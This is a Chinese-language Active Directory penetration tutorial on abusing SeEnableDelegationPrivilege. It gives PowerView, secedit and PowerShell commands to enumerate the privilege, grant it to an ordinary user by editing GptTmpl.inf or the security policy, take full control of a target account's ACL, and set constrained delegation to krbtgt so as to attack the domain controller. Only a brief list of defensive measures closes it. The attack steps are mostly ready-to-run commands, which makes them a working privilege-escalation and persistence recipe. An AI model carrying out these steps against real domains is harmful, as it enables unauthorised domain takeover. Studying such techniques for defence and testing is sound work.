域渗透——SeEnableDelegationPrivilege的利用
字数 1330 2025-08-25 22:58:34
域渗透——SeEnableDelegationPrivilege权限的利用
1. SeEnableDelegationPrivilege概述
SeEnableDelegationPrivilege是Windows域控制器中一个关键的用户权限,它允许计算机和用户账户执行委派操作。该权限配置在本地安全策略的"用户权限分配"部分,策略名为"信任计算机和用户帐户可以执行委派"。
关键特性:
- 默认情况下,只有BUILTIN\Administrators成员(如Domain Admins、Enterprise Admins等)拥有此权限
- 拥有此权限的用户可以配置服务委派,可能用于攻击域控制器或进行权限维持
- 该权限在域控制器的本地安全策略中控制,通过组策略管理
2. 寻找拥有SeEnableDelegationPrivilege权限的用户
2.1 通过GPO查找
域中默认有两个重要GPO:
- Default Domain Policy (GUID: {31B2F340-016D-11D2-945F-00C04FB984F9})
- Default Domain Controllers Policy (GUID: {6AC1786C-016F-11D2-945F-00C04fB984F9})
查找方法:
-
使用PowerView枚举所有GPO:
Get-DomainGPO -
查找特定GPO:
Get-DomainGPO -Identity "Default Domain Controllers Policy" -
检查GptTmpl.inf文件(包含权限分配信息):
\\<domain>\SYSVOL\<domain>\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf
2.2 使用secedit工具
-
导出安全策略:
secedit /export /cfg secpolicy.inf /areas USER_RIGHTS -
检查导出的secpolicy.inf文件中的[Privilege Rights]部分
2.3 使用PowerShell
-
使用UserRights模块(需下载):
Get-AccountsWithUserRight -Right SeEnableDelegationPrivilege -
使用PowerView:
$p = Get-DomainPolicy -Source DC $p["Privilege Rights"]
3. 为普通用户添加SeEnableDelegationPrivilege权限
3.1 通过修改GPO
- 定位到GptTmpl.inf文件
- 在[Privilege Rights]部分的SeEnableDelegationPrivilege项下添加用户SID或用户名
- 刷新组策略使设置生效:
gpupdate /force
3.2 使用secedit工具
-
导出当前配置:
secedit /export /cfg secpolicy.inf /areas USER_RIGHTS -
修改secpolicy.inf文件,添加用户到SeEnableDelegationPrivilege
-
应用修改:
secedit /configure /db secedit.sdb /cfg secpolicy.inf /overwrite /areas USER_RIGHTS
3.3 使用PowerShell
使用UserRight模块:
Grant-UserRight -Account username -Right SeEnableDelegationPrivilege
验证:
Get-AccountsWithUserRight -Right SeEnableDelegationPrivilege
4. 利用SeEnableDelegationPrivilege进行攻击
4.1 选择并控制目标账户
-
选择一个目标用户(如test)
-
添加对目标用户的完全控制权限:
Add-DomainObjectAcl -TargetIdentity 'target-user-guid' -PrincipalIdentity your-user -Rights All -
验证权限:
Get-DomainObjectAcl -Identity target-user | ?{$_.SecurityIdentifier -match "your-user-SID"}
4.2 设置约束委派
-
为目标用户注册SPN
-
设置约束委派:
Import-Module .\Microsoft.ActiveDirectory.Management.dll $user = Get-ADUser target-user Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/domain.local")} -
验证委派设置:
Get-DomainUser -TrustedToAuth -domain domain.local -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl
4.3 执行约束委派攻击
完成上述设置后,可以利用约束委派攻击域控制器(具体攻击方法参考约束委派相关技术文档)。
5. 防御措施
- 严格控制SeEnableDelegationPrivilege权限分配
- 定期审计拥有此权限的用户
- 监控对GptTmpl.inf文件的修改
- 实施最小权限原则
- 监控异常的服务委派配置